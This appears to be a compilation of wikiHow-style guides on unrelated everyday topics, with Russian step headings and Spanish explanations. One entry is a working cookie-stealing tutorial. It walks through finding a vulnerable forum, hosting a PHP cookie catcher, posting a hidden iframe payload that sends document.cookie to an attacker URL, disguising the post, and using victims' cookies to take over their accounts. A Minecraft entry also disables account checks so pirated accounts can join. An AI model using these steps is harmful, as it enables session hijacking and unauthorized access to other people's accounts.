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Probablemente tengas miedo de arruinar las cosas, así que disminuye la presión asegurándote de que no haya gente alrededor. Descarta las salidas al cine o en grupo y, en lugar de eso, opta por hacer algo a solas, como una tranquila noche de películas en casa, un picnic en el campo o un lugar desierto.  Evita apagar las luces por completo. Quizás pienses que la oscuridad total atenuará tus nervios y ocultará cualquier error. Sin embargo, si eres principiante, esto solo hará las cosas más difíciles, ya que es imposible ver lo que estás haciendo; además, necesitas ver las reacciones de tu pareja. Reserva la oscuridad total para sesiones futuras cuando ambos se conozcan mejor. Si están solos en una habitación o un sótano, puedes atenuar las luces un poco sin ser demasiado evidente. Establece la atmósfera, si así lo deseas. Si sabes que estarás en casa a solas con la persona que te gusta y hay una gran probabilidad de que se besen, debes asegurarte de que tu habitación esté limpia y ordenada, que no exista la posibilidad de que tus padres o tu compañero de cuarto los interrumpa, que todo huela bien y que el ambiente sea propicio para la sesión de besos. Si crees que muy pronto te besarás con tu pareja, esfuérzate un poco para verte y oler mejor que nunca. Esto aumentará tu seguridad y te hará irresistible. No tienes que ser demasiado meticuloso al respecto ya que sentirás más nervios, pero si te sientes y te ves lo mejor posible, tendrás una mayor oportunidad de tener una excelente sesión de besos. Aquí hay una lista que puedes revisar:  Aséate rápidamente. Aun si no tienes tiempo para una ducha completa, puedes hacer unas cuantas cosas como limpiarte la nariz, cepillarte los dientes y echarte agua en las áreas que estén oliendo un poco fuerte. De paso, aplícate desodorante nuevamente. Añade un aroma sutil. Si eres chico, échate una o dos rociadas de colonia alrededor del cuello y el pecho. No exageres, ya que los aromas fuertes son casi insoportables en ambientes cerrados. Si eres chica, échate un poco de perfume...


Найдите установочный диск Windows. Скачайте DBAN (Darik's Boot and Nuke) Запишите DBAN на CD/DVD-диск. Вставьте записанный CD/DVD-диск с программой DBAN в компьютер, а затем перезагрузите его. Нажмите Enter, чтобы выбрать «Interactive Mode» (Интерактивный режим). Нажмите пробел, чтобы выбрать форматируемый диск, а затем нажмите F10, чтобы запустить форматирование. Извлеките CD/DVD-диск из дисковода, когда на экране отобразится слово «Pass» (Завершено). Вставьте установочный диск Windows и перезагрузите компьютер.

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Solo debes utilizar este método si eres un usuario avanzado. Al formatear el disco duro, se borrarán todos los datos de tu computadora, incluyendo Windows. Necesitarás el disco de instalación para volver a instalar el sistema después de formatear la unidad. Puedes pedírselo prestado a un amigo, siempre y cuando tenga la misma versión que tienes instalada actualmente. . La única forma de borrar absolutamente todo el contenido de tu disco duro es usando una herramienta de "destrucción" desarrollada por terceros. Los expertos recomiendan DBAN, que es gratis. Usando el enlace anterior, puedes descargar una imagen ISO de DBAN a tu computadora. Si necesitas información sobre cómo grabar correctamente un archivo ISO en un disco, lee este wikiHow. La computadora ahora se iniciará en DBAN, donde te guiarán a través del formateo de tu disco duro. Así podrás especificar cómo debe formatear DBAN tu unidad. Este proceso tardará varias horas. La duración exacta dependerá del tamaño y la velocidad del disco duro. Puedes consultar el progreso donde dice "Remaining" (tiempo restante), en la esquina superior derecha de la pantalla. Cuando veas la palabra "Pass", el proceso de eliminación habrá terminado y la unidad se habrá borrado y rescrito. Ahora comenzará el proceso de instalación de Windows en la unidad que acabas de formatear. Al reiniciar la computadora, se abrirá directamente el instalador de Windows. Haz clic en "Instalar" o "Siguiente" para comenzar con el proceso de instalación y luego sigue las indicaciones de la pantalla para seleccionar las distintas opciones.


Найдите уязвимый сайт, на котором можно размещать контент. Перейдите к созданию поста. Создайте и загрузите свой php-скрипт, который будет получать данные. Опубликуйте JavaScript-код. Использование полученных куки.

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Un tablón de anuncios es un buen ejemplo. Recuerda, si el sitio es seguro, esto no funcionará. Necesitarás introducir un código especial en la "publicación" que capturará los datos de todos los que hagan clic en ella. Intenta averiguar si los filtros del sistema filtran el código externo. Publica <script...>alert("test")</...script> (eliminando los "…"). Si un cuadro de alerta aparece cuando haces clic en la publicación, entonces el sitio es vulnerable a ataques. El objetivo de este ataque es capturar las cookies de los usuarios, que te permitirán acceder a sus cuentas en sitios webs que tengan inicios de sesión vulnerables. Necesitarás un capturador de cookies que capturará las cookies de tu objetivo y las redirigirá. Sube el capturador a un sitio web al cual tengas acceso y que soporte php. Más adelante te daremos un ejemplo de código de capturador de cookies. Ingresa un código apropiado en la publicación para capturar las cookies y enviarlas a tu sitio. Te recomendamos poner algún texto luego del código para reducir las sospechas y evitar que tu publicación sea eliminada. Un código de ejemplo sería: <...iframe... frameborder= 0 height=0 width=0 src=javascript...:void(document.location="YOURURL/cookiecatcher.php?c="+document.cookie)><.../iframe> (eliminando los "…"). Luego, podrás utilizar la información de las cookies, que ya estarán guardadas en tu sitio web con el propósito que necesites.


Найдите файл «server.properties». Переименуйте файл. Откройте файл. Задайте IP-адрес сервера. Удалите онлайн-проверку. Сохраните изменения.

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Está en la carpeta "Minecraft Server". Para poder editar el archivo, deberás eliminar el punto que está entre "server" y "properties". Para eliminarlo, haz clic derecho en el archivo, selecciona Cambiar nombre en el menú desplegable que aparece y elimina el punto. Presiona ↵ Enter y luego haz clic en Sí para confirmar. Si usas una Mac, también puedes hacer clic en el archivo, seleccionar Archivo y hacer clic en Renombrar… para abrir el cuadro de texto "Renombrar". Una vez que hayas cambiado el nombre del archivo, ábrelo siguiendo estos pasos:   Windows: haz doble clic en el archivo, selecciona Bloc de notas en la ventana que aparece y luego haz clic en Aceptar.  Mac: haz clic en el archivo, luego en Archivo, selecciona Abrir con y haz clic en  TextEdit. Escribe la dirección IP estática de tu computadora del otro lado de la línea "server-ip=", en la parte superior del archivo. Por ejemplo, si la dirección IP estática de tu computadora es "192.168.2.25", entonces esta línea deberá quedar así: server-ip=192.168.2.25. Busca la línea de texto "online-mode=true" y reemplaza "true" por false. Este cambio permitirá que los jugadores que tengan cuentas crackeadas de Minecraft se puedan unir al servidor. Presiona Ctrl+S (Windows) o Comando+S (Mac) y luego cierra el documento. La próxima vez que ejecutes el servidor, se aplicará la nueva configuración.


Найдите файл по его имени.  Начните поиск в корневом каталоге.  Используйте символ обобщения .  Облегчите управление результатами поиска.  Найдите конкретные элементы.  Отфильтруйте результаты поиска по размеру файлов.  Используйте логические операторы (булевы операторы), чтобы объединить поисковые фильтры.  Найдите файлы по владельцу или разрешениям.  Объедините команды, чтобы выполнить определенные действия по завершении поиска файлов.

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Esta es la búsqueda más básica que puedes realizar usando el comando find. El comando a continuación buscará la consulta en el directorio actual y en cualquier subdirectorio.  find -iname "nombre de archivo"   Utilizar -iname en lugar de -name ignora las mayúsculas y minúsculas de tu consulta. El comando -name sí se fija en las mayúsculas y en las minúsculas. Si quieres buscar en todo el sistema, puedes agregar el modificador / a la consulta. Esto le dirá al comando que busque en todos los directorios empezando desde el directorio de raíz.   find / -iname "nombre de archivo"    Puedes empezar la búsqueda en un directorio en específico remplazando el modificador / con la dirección de algún directorio, como /home/pat. Puedes usar . en lugar de / para forzar la búsqueda a que solo se realice en el directorio actual y sus subdirectorios. * para buscar cualquier cosa que coincida con parte de la consulta. El caracter * puede ser útil para encontrar algo si no sabes el nombre completo del archivo o si quieres encontrar una extensión específica.   find /home/pat -iname "*.conf"    Esta búsqueda encontrará todos los archivos con la extensión CONF en la carpeta del usuario Pat (y en los subdirectorios). También puedes usar estos comandos para encontrar todo lo que coincida con parte del nombre. Por ejemplo, si tienes muchos documentos relacionados con wikiHow, puedes encontrar todos los archivos escribiendo "*wiki*". Si recibes muchos resultados de búsqueda, puede ser difícil verlos todos. Utiliza el caracter | y envía los resultados de búsqueda a un programa de filtrado. Esto te permite ver cada archivo y filtrar los resultados de una forma mucho más sencilla.   find /home/pat -iname "*.conf" | less Puedes usar modificadores para que solo aparezcan ciertos tipos de resultados. Puedes buscar archivos regulares (f), directorios (d), enlaces simbólicos (l), dispositivos de caracteres (c) y dispositivos de bloqueo (b) usando el modificador correcto.   find / -type f -iname "nombre de archivo" Si tienes muchos archivos...


Найдите формулу окружности. Таким образом, приблизительное значение пи = 3.

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Puedes curvar el diámetro y colocarlo alrededor del círculo, de extremo a extremo, unas veces, lo cual significa que: tres diámeteros más una pequeña fracción del diámetro = Circunferencia. Llamemos a eso: C = 3 X d, aproximadamente. Listo (demasiado fácil). Es el mismo proceso que hubieras usado para descubrir la circunferencia hace 3000 o 4000 años. Ahora, limpiemos esa idea. En los tiempos antiguos, las matemáticas eran un estudio místico y tu “descubrimiento” era parte de la expresión de misterios matemáticos. Ahora lo harás de forma más precisa.


Найдите футболку, которая хорошо на вас сидит. Сложите футболку пополам. Приколите булавки вдоль внешнего контура спинки. Перенесите контур. Сколите булавками вдоль внешнего контура переда. Перенесите контур. Заколите булавками и обведите рукава. Добавьте к каждой детали припуски на швы. Пометьте детали. Вырежьте и сопоставьте детали.

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La manera más sencilla de bosquejar tu propio modelo es copiar la forma de una camisa que encaje adecuadamente. Aunque este tutorial solo abarca el bosquejo y la confección de camisetas, puedes seguir los mismos pasos básicos para elaborar los patrones de otros estilos de camisa. Debes realizar esto de manera vertical manteniendo los lados delanteros hacia afuera. Coloca la camisa doblada sobre una hoja grande de papel. Lo ideal es que coloques el papel sobre un cartón grueso antes de colocar la camisa en la parte superior. El cartón proporcionará una superficie de trabajo lo suficientemente dura sobre la cual puedas trazar tu bosquejo. Además, tendrás que introducir alfileres sobre el papel, lo que te resultará más sencillo si cuentas con el respaldo del cartón. Debes introducir los alfileres a lo largo del perímetro de la camisa. Presta especial atención a la costura trasera del escote bajo el cuello y la costura de la manga.  No es necesario que los alfileres que insertes a lo largo de la costura del hombro, los lados y el dobladillo inferior sean precisos ya que su propósito principal es retener la camisa. Para la costura de la manga, inserta los alfileres a través de la costura y el papel. Debes dejar un espacio de 2,5 cm (1 pulgada) entre cada alfiler. Para la parte posterior del escote, inserta los alfileres a través de la costura que une la parte trasera del escote al cuello. Debes dejar un espacio de 2,5 cm (1 pulgada) entre cada alfiler. Utiliza un lápiz para trazar ligeramente alrededor de todo el contorno de la camisa.  Traza a lo largo del hombro, los lados y la parte inferior. Luego de trazar estos elementos, levanta la camisa y busca los agujeros que marcan la costura de la manga y del escote. Traza a lo largo de estos agujeros para completar el contorno del patrón trasero. Traslada la camisa doblada a un nuevo pedazo de papel. Coloca alfileres a lo largo del contorno frontal en lugar del trasero.  Sigue los mismos pasos que utilizaste para colocar los alfileres a lo largo del perímetro y las...


Найдите хорошего психотерапевта, который специализируется на гендере. Поговорите с людьми, чей гендер отличается от биологического, и с людьми, которые сомневаются в своей гендерной принадлежности. Изучите информацию на форумах и в пабликах.

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Existen muchos psicólogos, consejeros y trabajadores sociales que están especializados en la varianza de género. Estos expertos pueden ayudarte a hacer y contestar a tus grandes preguntas.  Busca consejeros especializados en identidad de género, disforia de género o temas LGBT. Si en tu localidad hay una clínica transgénero, ponte en contacto con ella para ver si hay algunos terapeutas disponibles. Por ejemplo, si vives en los Estados Unidos, puedes utilizar el localizador de la Asociación Americana de Psicólogos para encontrar a un especialista en temas de identidad. Si vives en el Reino Unido, considera la posibilidad de ponerte en contacto con la Sociedad Beaumont para que te deriven donde un especialista. También puedes pedirle a tu médico que te recomiende un especialista o, si estás en la escuela o la universidad, acude donde un consejero. Ponte en contacto con las personas que hayan hecho la transición o que cuestionen su género. Algunos lugares donde puedes buscar son los grupos, centros comunitarios y eventos LGBTQ. Si estás en la escuela, considera la posibilidad de visitar grupos estudiantiles, tales como un grupo o una alianza LGBTQ. No es necesario que reveles tu orientación inmediatamente; simplemente di que eres un aliado o explica que cuestionas tu género, pero que aún no te sientes a gusto hablando acerca de eso.  ¡No todos los que conozcas querrán hablar sobre su género! Algunas personas podrían sentirse expuestas si les haces preguntas personales. Puedes mencionar tus propias preguntas y responder las suyas en caso de que te las hagan. Si no estás seguro, escríbele o busca un momento privado para hacerle la pregunta. Puedes decir lo siguiente: “He estado pensando mucho sobre mi propia identidad de género y eres alguien que podría saber algo sobre las preguntas que tengo. Si tienes el tiempo y la energía, me encantaría hablarte acerca de esto. Por favor, no tengas reparos en negarte”. Una excelente forma de ponerte en contacto con otras personas de género variante o con cuestionamientos...


Найдите хороший стол (письменный или обычный) и стул. Обеспечьте достаточное освещение. Подготовьте учебные принадлежности. Содержите все вещи в порядке. Организуйте компьютерные файлы. Решите, нужны ли вам часы.

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Querrás estar cómodo, pero no tanto como para distraerte o quedarte dormido. También necesitarás un espacio de trabajo adecuado.  Encuentra un escritorio o una mesa cuyo borde superior llegue a una altura entre tu cintura y tu caja torácica al momento de sentarte a ella, de modo que tus codos puedan descansar cómodamente sobre el escritorio sin tener que encorvar los hombros hacia adelante. También desearás que tus pies puedan descansar apoyados en el suelo. Utiliza una silla cómoda que se ajuste a la altura de la mesa y escritorio. Es posible que quieras descartar las sillas de escritorio más elegantes que giran, ruedan, se reclinan, etc. si solo se vuelven distracciones.     Si utilizas una computadora, debes contar con suficiente espacio como para colocarla a casi 46 cm (1 ½ pie) a 76 cm (2 ½ pies) lejos de ti. Un área de estudio muy oscura no solo facilitará que te quedes dormido, sino que también puede forzar tu vista, lo cual pondrá un freno a cualquier sesión de estudio. Si bien la luz natural que pasa por una ventana puede ser refrescante y calmante, la tentación de mirar por ahí puede dificultar que estudies. Considera usar cortinas o persianas traslúcidas o ubicarte de espaldas a la ventana. Asegúrate de tener a la mano todos los materiales que necesitas para estudiar, de modo que no pierdas el tiempo buscando una regla o minas de lápiz.  Conserva los útiles escolares clásicos, por ejemplo, lapiceros o lápices, gomas de borrar, papeles, fichas, marcadores, etc. en áreas asignadas en el escritorio o en un cajón accesible. Ten cerca un diccionario tradicional de bolsillo, un diccionario de sinónimos y una calculadora, aun cuando tu teléfono celular pueda hacer el trabajo de los tres. Usar este dispositivo para hacer divisiones complejas o correcciones ortográficas es una invitación abierta a la distracción debido a las otras miles de cosas que puedes hacer con él. Utiliza los cajones del escritorio para mantener cerca las cosas que necesitas a fin de evitar desperdigarlas por todo el escritorio. Si no...


Найдите хороший, заслуживающий доверия музыкальный магазин, специализирующийся на струнных инструментах (предпочтительно сделанных вручную). Пойдите в магазин. Поговорите с мастером или его ассистентом. Проверяйте виолончели на качество звука. Купите хороший смычок. Купите струны. При необходимости замените хвостовую часть и колки, купите регулятор волчка или другое приспособление, если столкнулись с проблемой вольфтона. Выбирайте качественный, крепкий футляр, предпочтительно твердый.

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Si tienes un profesor privado, consulta si puede acompañarte. Generalmente sabrá cuáles violonchelos suenan mejor. Habla con ellos sobre tu rango de precios y pregunta sobre los diferentes tipos de violonchelo (curvatura alta, curvatura baja, espalda de dos piezas, espalda de una pieza, etc.). Es recomendable que esta sea tu primera prioridad. Incluso si tu profesor dice que elijas un determinado violonchelo, pero tú prefieres otro, elige el tuyo. Debes saber que vas a usar este violonchelo por bastante tiempo. No querrás arrepentirte de tu decisión. Pero recuerda que no debes apresurarte; siempre habrán otros violonchelos en otros buenos talleres. El violonchelo puede ser muy bueno, pero el arco que viene con él puede no serlo. Pregúntale a uno de los especialistas y a tu profesor cuál comprar. Y como con la compra del violonchelo, no te apresures. Elige uno con el que te sientas cómodo y que se sienta equilibrado. Si compras un violonchelo, las cuerdas provistas pueden no ser las apropiadas. Pídele su opinión a un especialista y a tu profesor. Si no tienes a alguien que te ayude, cíñete a las mejores marcas, Obligato, Larsen y Jargar o a las preferidas por los menos avanzados. Es muy importante tener el violonchelo bien montado para su propio beneficio. Un violonchelo con gran potencial podría sonar mal con los accesorios incorrectos.  Una buena colofonia también es importante.


Найдите центр топки. Вырежьте вспомогательную полку. Установите полку. Закрепите полку.

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Usa una cinta métrica y localiza el centro del fogón. Luego, usa un nivel y un marcador para dibujar una línea recta desde el centro de la parte superior del fogón hacia la parte superior del área que planees embaldosar. Debes construir la plataforma con un pedazo de madera de 2,5 cm x 8 cm (1 pulgada x 3 pulgadas). La madera debe ser lo suficientemente larga para extenderse hacia el ancho completo del área que quieras embaldosar. Esta plataforma será un soporte temporal para las baldosas superiores. Sostén el pedazo de madera de manera que el borde superior se sitúe ligeramente debajo del borde superior del fogón. Verifica que la plataforma de soporte esté nivelada. Si la madera no está nivelada cuando se encuentre a la misma altura del borde superior del fogón, coloca la madera ligeramente debajo de la parte superior del fogón de un lado, en lugar de colocarla alto sobre el otro lado. De esa forma, embaldosarás todo el contorno de la chimenea, en lugar de tener un espacio pequeño donde se pueda ver la argamasa. Usa la broca y los tornillos de mampostería para asegurar la plataforma en cada extremo. Verifica nuevamente para asegurarte de que la plataforma esté nivelada, de lo contrario todas las baldosas lucirán torcidas.